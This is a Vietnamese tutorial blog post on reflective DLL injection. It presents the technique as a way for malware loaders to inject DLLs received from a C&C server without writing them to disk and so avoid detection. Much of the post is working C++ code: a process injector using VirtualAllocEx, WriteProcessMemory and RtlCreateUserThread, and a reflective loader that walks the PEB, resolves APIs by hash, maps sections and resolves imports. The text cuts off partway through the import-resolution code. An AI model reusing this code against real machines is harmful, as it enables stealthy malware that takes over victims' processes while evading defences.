### 1. Chi Tiết Kỹ Thuật Reflective DLL Injection #### :diamond_shape_with_a_dot_inside: **Nhược Điểm Của Classical DLL Injection và APC Queue DLL Injection Là Gì :question:** :::info * Như ta đã biết, malware có rất nhiều thành phần nhưng thành phần chính của nó thường là downloader/loader, nó có chức năng tải các thành phần khác từ C&C server về máy tính bị lẫy nhiễm. Các thành phần này có thể là các PE file như là EXE hoặc DLL được sử dụng cho quá trình lây nhiễm. Ngoài việc nhận các DLL được gửi từ C&C server, các DLL cũng có thể có sẵn trong resource section của downloader/loader để sử dụng cho quá trình injection. * Nếu ta dùng kỹ thuật classical dll injection hoặc apc queue dll injection thì ta đều phải sử dụng DLL có sẵn trên disk. Việc này có nghĩa rằng ta phải ghi DLL nhận từ C&C server hoặc có trong resource section vào disk trước khi tải nó vào target process bằng API **LoadLibrary()**, nhưng việc này rất dễ bị phát hiện và làm cho malware mất đi tính steath (tàng hình). Yah, vậy ta có thể khắc phục điều này bằng cách nào? :thinking_face: ::: ![](https://hackmd.io/_uploads/HJ2odgB92.png) #### :diamond_shape_with_a_dot_inside: **Reflective DLL Injection Có Thể Khắc Phục Được Nhược Điểm Trên :question:** :::info * Những nhược điểm trên có thể được khắc phục bởi kỹ thuật reflective dll injection, đây là một kỹ thuật giúp ta có thể chèn DLL vào target process mà không cần phụ thuộc vào DLL trên disk và API **LoadLibrary()**. * Kỹ thuật này sẽ chèn trực tiếp DLL nhận từ C&C server hoặc DLL có sẵn trên resource section vào target process một cách trực tiếp. Nhưng DLL được chèn là một Raw DLL, nó chưa được phân giải địa chỉ trong bảng IAT, relocation, .... Dễ thấy rằng, các tác vụ trên được xử lý bởi windows loader khi ta sử dụng API LoadLibrary() để nạp DLL vào target process, nhưng trong kỹ thuật này ta phải tự đi thực hiện các tác vụ đó bằng cách tự code ra một bộ loader và chèn nó vào trong Raw DLL. Sau khi chèn Raw DLL vào target process, ta tiến hành chạy bộ loader này để thực hiện các tác vụ cần thiết. Lú cái não quá, thực hành để cho dễ hiểu nè. :face_with_hand_over_mouth: ::: ### 2. Các Bước Thực Hiện Kỹ Thuật Reflective DLL Injection ### :diamonds: Chèn DLL Vào Target Process Và Thực Thi Reflective Loader :diamond_shape_with_a_dot_inside: **Nạp Raw DLL Vào Injector Process** :::info * Việc đầu tiên ta cần làm là chuẩn bị DLL cho quá trình injection, DLL này có thể đến từ C&C server hoặc có trong resource section nhưng để đơn giản ta sẽ nạp DLL có sẵn từ disk vào injector process và dùng nó để chèn vào target process. * Đầu tiên ta mở DLL có trên disk bằng API **CreateFileW()** với cờ **GENERIC_READ** để đọc và lấy độ lớn DLL bằng API **GetFileSize()**. Tiếp theo đó, ta cấp phát động bộ nhớ heap trong injector process bằng API **HeapAlloc()** và ghi nội dung Raw DLL bằng API **ReadFile()** vào trong bộ nhớ vừa cấp phát. ::: ```cpp= // Mở DLL trong disk hFile = CreateFileW(cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) BREAK_WITH_ERROR("[-] Failed to open the DLL file!"); // Lấy độ lớn của DLL. dwLength = GetFileSize(hFile, NULL); if (dwLength == INVALID_FILE_SIZE || dwLength == 0) BREAK_WITH_ERROR("[-] Failed to get the DLL file size!"); // Cấp phát bộ nhớ trên injector process. lpBuffer = HeapAlloc(GetProcessHeap(), 0, dwLength); if (!lpBuffer) BREAK_WITH_ERROR("[-] Failed to get the DLL file size!"); // Chèn Raw DLL vào bộ nhớ vừa cấp phát. if (ReadFile(hFile, lpBuffer, dwLength, &dwBytesRead, NULL) == FALSE) BREAK_WITH_ERROR("[-] Failed to alloc a buffer!"); ``` :diamond_shape_with_a_dot_inside: **Tính Toán Offset Của Reflective Loader Và Chèn Raw DLL Vào Target Process** :::info * Tiếp theo, ta đi tính toán offset của reflective loader tính từ vị trí bắt đầu của Raw DLL bằng hàm **GetReflectiveLoaderOffset()**. Sau đó, ta cấp phát bộ nhớ trên target process bằng API **VirtualAllocEx()**. Cuối cùng, ta chèn Raw DLL vào bộ nhớ vừa cấp phát bằng API **WriteProcessMemory()**. ::: ```cpp= // trích xuất handle của target process hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId); // tính toán file offset của reflective loader trong Raw DLL dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpBuffer); if (!dwReflectiveLoaderOffset){ wprintf(TEXT("GetReflectiveLoaderOffset FAILED!")); break; } // cấp phát bộ nhớ trong target process để nạp Raw DLL lpRemoteLibraryBuffer = VirtualAllocEx(hProcess, NULL, dwLength, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!lpRemoteLibraryBuffer){ wprintf(TEXT("VirtualAllocEx FAILED!")); break; } // ghi Raw DLL vào bộ nhớ vừa cấp phát if (!WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL)){ wprintf(TEXT("WriteProcessMemory FAILED!")); break; } ``` :::info * Nhưng khoan đã, làm thế nào chúng ta có thể tính toán offset của reflective loader trong Raw DLL ? :thinking_face: Ta phải hiểu rằng bản chất reflective loader là một hàm của DLL được export ra bên ngoài, để có thể trích xuất các thông tin của export function thì ta cần phải dựa vào export directory có trong DLL. Vậy thì export directory là cái gì ? :thinking_face: * Theo mình biết thì export directory được biểu diễn bằng cấu trúc **IMAGE_EXPORT_DIRECTORY**, cấu trúc này lưu trữ các trường thông tin quan trọng về các hàm và các biến của PE file được export ra bên ngoài. Các hàm và các biến được export từ PE file này có thể được truy xuất và sử dụng bởi các PE file khác, ví dụ như trong kernel32.dll định nghĩa rất nhiều export function/API được sử dụng chung bởi nhiều file thực thi khác trong hệ thống. * Trong phạm vi của bài viết này ta chỉ cần quan tâm đến các trường được tô đỏ ở hình dưới. * **TimeDateStamp**: là trường này mô tả thời gian gần nhất mà module được cập nhật hoặc sửa đổi. * **Name**: chứa con trỏ trỏ đến tên của module. * **Base**: chứa base address của module. * **NumberOfFunctions**: là số lượng export function của module. * **NumberOfNames**: chứa số lượng các function có tên trong export function. Giá trị này luôn bé hơn hoặc bằng NumberOfFunctions. * **AddressOfFunctions**: chứa địa chỉ của **export address table** (EAT). EAT là bảng chứa các RVA của export function. Phải nhớ rằng là số lượng phần tử trong bảng này luôn bằng giá trị của NumberOfFunctions. * **AddressOfNames**: là mảng chứa các RVA của tên hàm. Phải nhớ là số lượng phần tử trong mảng này luôn bằng giá trị của NumberOfNames. * **AddressOfNamesOrdinals**: là mảng chứa index của EAT. * Đau cái não qá, đọc tiếp để dễ hình dung nhé. :tired_face: ::: ```cpp= typedef struct _IMAGE_EXPORT_DIRECTORY { DWORD Characteristics; DWORD TimeDateStamp; WORD MajorVersion; WORD MinorVersion; DWORD Name; DWORD Base; DWORD NumberOfFunctions; DWORD NumberOfNames; DWORD AddressOfFunctions; DWORD AddressOfNames; DWORD AddressOfNameOrdinals; } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY; ``` :::info * Sau khi vật vã tìm hiểu chức năng của các trường có trong export directory thì tiếp theo ta cùng tìm hiểu cơ chế để trích xuất RVA của một export function bất kỳ có trong module. Dưới đây là các bước cụ thể để ta có thể tìm được RVA của export function: * **Bước 1**: ta duyệt qua từng phần tử của function name pointer table để trích xuất các RVA. Giá trị RVA này trỏ đến tên của một export function chứa trong function name table. * **Bước 2**: ta duyệt qua từng tên của từng export function để tìm kiếm function mà ta mong muốn và đồng thời trích xuất index của function name table nơi mà hàm này được định vị. * **Bước 3**: tìm kiếm địa chỉ của ordinal array bằng trường AddressOfNamesOrdinals. * **Bước 4**: trích xuất giá trị của một phần tử trong ordinal array bằng giá trị index được tìm thấy ở bước 2. * **Bước 5**: tìm kiếm địa chỉ của EAT bằng trường AddressOfFunctions. * **Bước 6**: sử dụng giá trị ordinal ở bước 4 để làm index trong EAT, giá trị của phần tử tại vị trí index này chính là RVA của hàm mà ta đang tìm kiếm. * Tới thời điểm hiện tại, mình đã đi giải thích chi tiết các bước để trích xuất RVA của export function trong một module bất kỳ. Bạn đọc có thể nhìn hình phía dưới để dễ hình dung hơn. ::: ![](https://hackmd.io/_uploads/HkhP5Ir52.png) :::info * Nhưng khoan đã, có gì đó không đúng. Thứ ta cần tìm là file offset của reflective loader chứ không phải RVA của nó như trong quá trình trên. Vậy thì ta phải làm sao đây ? :thinking_face: * Trước tiên đi giải quyết vấn đề trên, ta hãy tìm hiểu cấu trúc của section table. Section table là bảng gồm nhiều entry, mỗi entry của nó chứa một section header. Section header được biểu diễn bằng cấu trúc **IMAGE_SECTION_HEADER**, nó chứa các trường thông tin quan trọng của một section. Bây giờ mình sẽ liệt kê một số trường thông tin quan trọng của section header được sử dụng trong bài viết này: * **VirtualAddress**: là RVA của section. * **VirtualSize**: là độ lớn của section khi được nạp lên memory. * **SizeOfRawData**: là độ lớn của section trong PE file. * **PointerToRawData**: là file offset của section. * **Name**: là mảng 8 byte chứa tên của section. ::: ```cpp= typedef struct _IMAGE_SECTION_HEADER { BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; union { DWORD PhysicalAddress; DWORD VirtualSize; } Misc; DWORD VirtualAddress; DWORD SizeOfRawData; DWORD PointerToRawData; DWORD PointerToRelocations; DWORD PointerToLinenumbers; WORD NumberOfRelocations; WORD NumberOfLinenumbers; DWORD Characteristics; } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER; ``` :::info * Để có thể tính toán được file offset của reflective loader thì ta chỉ cần tính tổng file offset của section và offset của reflective loader tính từ đầu section là được. Giá trị file offset của section chứa reflective loader chính là trường **PointerToRawData** trong section header mà mình đã đề cập ở trên. Còn offset của reflective loader tính từ đầu section được tính bằng cách lấy RVA của reflective loader trừ cho RVA của section chứa nó là xong. Bạn đọc nhìn hình minh họa mà mình chuẩn bị phía dưới để có thể dễ hình dung hơn. :sunglasses: ::: ![](https://hackmd.io/_uploads/Hk27RmL93.png) :::info * Đoạn code dưới đây sẽ minh họa quá trình tính toán file offset cho reflective loader. Quá trình chuyển đổi RVA sang file offset được thực hiện bởi hàm **Rva2Offset()**, mình cũng để source code của hàm này phía dưới luôn. ::: ```cpp= UINT_PTR uiBaseAddress = 0; UINT_PTR uiExportDir = 0; UINT_PTR uiNameArray = 0; UINT_PTR uiAddressArray = 0; UINT_PTR uiNameOrdinals = 0; DWORD dwCounter = 0; // Xác định kiến trúc là 32bit hay 64bit #ifdef WIN_X64 DWORD dwCompiledArch = 2; #else DWORD dwCompiledArch = 1; #endif // Đây là địa chỉ của raw dll ở trong target process uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer; // Tính toán file offset của NT header uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; // Kiểm tra thử xem phiên bản của dll có tương thích với injector process hay không ? if (((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B) // PE32 { if (dwCompiledArch != 1) return 0; } else if (((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B) // PE64 { if (dwCompiledArch != 2) return 0; } else{ return 0; } // tính toán RVA của export directory uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; // tính toán file offset của export directory uiExportDir = uiBaseAddress + Rva2Offset(((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress); // tính toán file offset của function name array uiNameArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames, uiBaseAddress); // tính toán file offset của function address array uiAddressArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions, uiBaseAddress); // tính toán file offset của ordinal array uiNameOrdinals = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals, uiBaseAddress); // số lượng các export function có tên trong module dwCounter = ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->NumberOfNames; // duyệt qua tất cả các export function để tìm RVA/Offset của ReflectiveLoader while (dwCounter--){ char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset(DEREF_32(uiNameArray), uiBaseAddress)); if (strstr(cpExportedFunctionName, "ReflectiveLoader") != NULL) { // tính toán file offset của function address array uiAddressArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions, uiBaseAddress); // sử dụng giá trị trong ordinal array để làm index trong function name array. uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); // trả về file offset của reflective loader return Rva2Offset(DEREF_32(uiAddressArray), uiBaseAddress); } // duyệt đến export function tiếp theo uiNameArray += sizeof(DWORD); // lấy giá trị phần tử tiếp theo trong ordinal array uiNameOrdinals += sizeof(WORD); } ``` :::info * Đây là code của Rva2Offset(). ::: ```cpp= WORD wIndex = 0; PIMAGE_SECTION_HEADER pSectionHeader = NULL; PIMAGE_NT_HEADERS pNtHeaders = NULL; // địa chỉ bắt đầu của NT header pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); // địa chỉ bắt đầu của section table pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader); /* kiểm tra xem RVA được chuyển đổi có thuộc về PE header hay không ? nếu có thì RVA chính là file offset luôn lưu ý là file offset và RVA của dữ liệu trong PE header là như nhau */ if (dwRva < pSectionHeader[0].PointerToRawData) return dwRva; /* nếu điều kiện trên không thỏa thì ta tiếp tục duyệt qua các section để tìm kiếm RVA cần chuyển đổi thuộc về section cụ thể nào */ for (wIndex = 0; wIndex < pNtHeaders->FileHeader.NumberOfSections; wIndex++){ // nếu RVA thuộc về section đang duyệt thì trả về file offset tương ứng if (dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData)) return (dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData); } // nếu không tìm được thì trả về 0 return 0; ``` :::info * Sau khi có được offset của reflective loader, ta đi tính toán địa chỉ của nó trong address space của target process. Cuối cùng ta thực thi reflective loader bằng một remote thread mới được tạo ra bằng API **RtlCreateUserThread()**. Để dùng API **GetProcAddress()** để tìm được địa chỉ của API RtlCreateUserThread(). ::: ```cpp= // Tính toán địa chỉ của reflective loader bằng cách cộng offset của nó với địa chỉ bắt đầu của Raw DLL. lpReflectiveLoader = (LPTHREAD_START_ROUTINE)((ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset); // Lấy địa chỉ của API RtlCreateUserThread() RtlCreateUserThread = (PRTL_CREATE_USER_THREAD)(GetProcAddress(GetModuleHandle(TEXT("ntdll")), "RtlCreateUserThread")); // Tạo một thread trong target process để thực hiện reflective loader RtlCreateUserThread(hProcess, NULL, 0, 0, 0, 0, lpReflectiveLoader, lpParameter, &hThread, NULL); if (hThread == NULL){ wprintf(TEXT("Injection FAILED!")); break; } ``` ### :diamonds: Chức Năng Của Reflective Loader :diamond_shape_with_a_dot_inside: **Tính Toán Địa Chỉ Của Các API Cần Dùng** :::info * Reflecttive loader cần phải sử dụng một số API để thực hiện chức năng của nó. Chính vì vậy, trước khi thực hiện các chức năng này nó cần tính toán địa chỉ của các API cần thiết. * Reflective loader cần tính toán địa chỉ của 3 API có trong kernel32.dll là **LoadLibrary()**, **GetProcAddress()**, và **VirtualAlloc()**. Ngoài ra nó cũng cần tính toán địa chỉ của API **NtFlushInstructionCache()** có trong ntdll.dll, chức năng của API này mình sẽ giải thích sau. * Để tính toán được địa chỉ của các API trên, ta chỉ cần tính toán được base address của kernel32.dll và ntdll.dll và sau đó dùng offser để tính toán địa chỉ của các API là xong, đơn giản đúng không nào. :grin: * Vậy câu hỏi đặt ra là làm thế nào ta có thể tìm được base address của kernel32.dll và ntdll.dll ? Đầu tiên ta phải đề cập đến cấu trúc **Thread Environment Block** (TEB), mỗi thread đều có riêng một TEB được lưu trên bộ nhớ, và nó lưu trữ các thông tin quan trọng về thread. Trong chương trình 32 bit của Windows thì địa chỉ TEB được lưu trong thanh ghi **fs**. Dưới đây là một vài trường quan trọng trong cấu trúc TEB. * Có một trường trong TEB tại offset 0x30 trong chương trình 32 bit chứa địa chỉ của cấu trúc **Process Environment Block** (PEB). Cấu trúc PEB chứa nhiều thông tin quan trọng của process bao gồm cả các DLL mà process này sử dụng, ta sẽ dựa vào cấu trúc PEB để tìm kiếm thông tin của kernel32.dll và ntdll.dll. ::: ![](https://hackmd.io/_uploads/S1Pf-7Y9n.png) :::info * Tại offset 0xc của PEB là trường **Ldr**, nó là con trỏ đến cấu trúc **PEB_LDR_DATA**, cấu trúc này chứa các thông tin về những DLL được nạp vào bộ nhớ. Cấu trúc PEB_LDR_DATA có chứa trường **InMemoryOrderModuleList** tại offset 0x14, nó là con trỏ trỏ đến danh sách liên kết đôi mà mỗi phần tử trong danh sách này lưu trữ thông tin về một DLL được nạp lên bộ nhớ của process và thứ tự của các phần tử có trong danh sách được sắp xếp theo thứ tự xuất hiện của các DLL trong bộ nhớ. ::: ![](https://hackmd.io/_uploads/HJCLb7Y92.png) --- ![](https://hackmd.io/_uploads/rkw1GQY93.png) :::info * Đến bước này là đơn giản rồi, ta chỉ cần duyệt qua từng phần tử được biểu diễn bởi cấu trúc **LDR_DATA_TABLE_ENTRY** trong danh sách liên kết đôi để so sánh tên của DLL mà ta cần tìm với trường **BaseDllName** tại offset 0x2c có tương ứng với nhau hay không ?. Nếu có thì ta trích xuất base address của nó thông qua trường **DllBase** tại offset 0x18. ::: ![](https://hackmd.io/_uploads/ryVHXQYcn.png) :::info * Hình dưới đây mô tả sự liên kết giữa các cấu trúc được sử dụng trong quá trình trích xuất địa chỉ cho các DLL. :face_with_hand_over_mouth: ::: ![](https://hackmd.io/_uploads/Byxyr049h.png) :::info * Sau khi có được base address của kernel32.dll và ntdll.dll bằng cách duyệt qua danh sách các DLL được tải bởi target process. Ta tiếp tục tính toán RVA của các API cần tìm bằng cách sử dụng cấu trúc export directory như đã trình bày phía trên. Việc tìm kiếm địa chỉ của export function trong DLL đã được mình trình bày chi tiết ở trên rồi, mình sẽ không đi giải thích lại nữa. :ok_hand: Code dưới đây sẽ trình bày chi tiết quá trình mà mình vừa giải thích. :grimacing: ::: ```cpp= // địa chỉ TEB bằng __readgsword(0x60) nếu kiến trúc là x64 #ifdef WIN_X64 uiBaseAddress = __readgsqword( 0x60 ); #else // địa chỉ TEB bằng __readfsdword(0x30) nếu kiến trúc là x32 #ifdef WIN_X86 uiBaseAddress = __readfsdword( 0x30 ); // địa chỉ TEB bằng *(DWORD*)((BYTE*)_MoveFromCoprocessor(15, 0,13,0,2) + 0x30) nếu kiến trúc là ARM #else WIN_ARM uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 ); #endif #endif // địa chỉ của cấu trúc PEB_LDR_DATA được lấy từ trường Ldr trong PEB uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; // địa chỉ của phần tử đầu tiên trong danh sách liên kết đôi uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; // duyệt qua tất cả các phần tử trong danh sách while( uiValueA ){ // địa chỉ của tên DLL tương ứng với phần tử đang được duyệt uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; // kích thước của tên DLL usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; uiValueC = 0; // nguyên cái vòng do-while này dùng để tính hash của tên DLL do{ uiValueC = ror( (DWORD)uiValueC ); if( *((BYTE *)uiValueB) >= 'a' ) uiValueC += *((BYTE *)uiValueB) - 0x20; else uiValueC += *((BYTE *)uiValueB); uiValueB++; } while( --usCounter ); /* so sánh hash vừa tính có giống với hash của kernel32.dll hay không ? nếu DLL đang được duyệt là kernel32.dll thì ta tìm kiếm địa chỉ của 3 API LoadLibrary(), VirtualAlloc(), và GetProcAddress() bằng export directory của kernel32.dll */ if( (DWORD)uiValueC == KERNEL32DLL_HASH ){ uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); usCounter = 3; while( usCounter > 0 ){ dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH ){ uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); if( dwHashValue == LOADLIBRARYA_HASH ) pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); else if( dwHashValue == GETPROCADDRESS_HASH ) pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) ); else if( dwHashValue == VIRTUALALLOC_HASH ) pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) ); usCounter--; } uiNameArray += sizeof(DWORD); uiNameOrdinals += sizeof(WORD); } } /* so sánh hash vừa tính có giống với hash của ntdll.dll hay không ? nếu DLL đang được duyệt là ntdll.dll thì ta tìm kiếm địa chỉ của API NtFlushInstructionCache() bằng export directory của ntdll.dll */ else if( (DWORD)uiValueC == NTDLLDLL_HASH ){ uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); usCounter = 1; while( usCounter > 0 ){ dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ){ uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) ); usCounter--; } uiNameArray += sizeof(DWORD); uiNameOrdinals += sizeof(WORD); } } // kết thúc quá trình tìm kiếm sau khi đã có được địa chỉ của các API mong muốn if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache ) break; uiValueA = DEREF( uiValueA ); } ``` :diamond_shape_with_a_dot_inside: **Cấp Phát Bộ Nhớ Và Tải PE Header** :::info * Sau khi có được địa chỉ của các API cần thiết. Ta cấp phát bộ nhớ trong target process bằng API **VirtualAlloc()** để nạp image từ Raw DLL. Bước đầu tiên của quá trình này là nạp PE header. ::: ```cpp= // tính toán địa chỉ NT header của Raw DLL uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; // cấp phát bộ nhớ với độ lớn bằng giá trị của trường SizeOfImage trong OptionalHeader để nạp DLL uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); // tính toán độ lớn của toàn bộ header của Raw DLL uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; uiValueB = uiLibraryAddress; uiValueC = uiBaseAddress; // thực hiện quá trình sao chép header từ Raw DLL base address của DLL while( uiValueA-- ) *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; ``` :diamond_shape_with_a_dot_inside: **Tải Các Section Vào Bộ Nhớ** :::info * Sau đó ta tiếp tục nạp các section của raw DLL vào bộ nhớ được cấp phát. ::: ```cpp= // tính toán vị trí bắt đầu của section table trong Raw DLL uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader ); // số lượng section của Raw DLL uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; // duyệt qua tất cả các section while( uiValueE-- ) { // tính toán VA của section uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress ); // tính toán file offset của section uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData ); // tính toán độ lớn của section trong Raw DLL uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; // sao chép section từ raw dll sang bộ nhớ được cấp phát để nạp DLL while( uiValueD-- ) *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; // duyệt qua section header tiếp theo uiValueA += sizeof( IMAGE_SECTION_HEADER ); } ``` :diamond_shape_with_a_dot_inside: **Phân Giải Địa Chỉ Trong IAT** :::info * Sau khi nạp header và các section thì vẫn chưa xong, ta phải đi phân giải địa chỉ trong IAT của DLL. Nhưng trước tiên ta cùng nói sơ qua cách mà windows loader phân giải IAT ? và từ đó áp dụng những nguyên lý này vào trong reflective loader. Bài viết này không tập trung vào quá trình phân giải IAT, bạn đọc có thể tìm hiểu chi tiết về quá trình phân giải IAT trong một bài viêt khác có link ở phần tham khảo. * **Có hai cách chính để ta có thể phân giải địa chỉ trong IAT đó là sử dụng tên của API hoặc giá trị ordinal**. Đối với cách sử dụng tên của API thì ta dùng API **GetProcAddress()** để phân giải địa chỉ. Ngược lại khi dùng giá trị ordinal thì ta sẽ lấy giá trị này trừ cho giá trị của trường **Base** trong cấu trúc **IMAGE_EXPORT_DIRECTORY** của DLL mà ta phụ thuộc. Kết quả của phép trừ sẽ được làm index cho ordinal array của DLL và từ đó ta có thể trích xuất được RVA của API cần tìm. Sau khi có RVA của các API, ta ghi nó vào bảng IAT. Hình dưới mô tả quá trình phân giải IAT bằng tên hàm. ::: ![](https://hackmd.io/_uploads/B1MkkZ_qh.png) :::info * Dưới đây là code thực hiện chức năng phân giải IAT của reflective loader. ::: ```cpp= // tính toán VA của entry tương ứng với import directory uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; // tính toán VA của import directory uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); // duyệt qua tất cả các entry có trong import directory // với mỗi entry thì tương ứng với một DLL mà ta phụ thuộc while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) { // lấy handle của DLL đang duyệt uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) ); // tính toán VA của Import Name Table (INT) uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk ); // tính toán VA của Import Address Table (IAT) uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk ); // duyệt qua tất cả các entry trong IAT để phân giải VA while( DEREF(uiValueA) ){ // sử dụng giá trị ordinal để phân giải địa chỉ if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ){ // tính toán VA của DLL phụ thuộc uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; // tính toán VA của entry tương ứng với export directory của DLL phụ thuộc uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; // tính toán VA của export directory uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); // tính toán VA của EAT uiAddressArray = ( uiLibraryAddress + 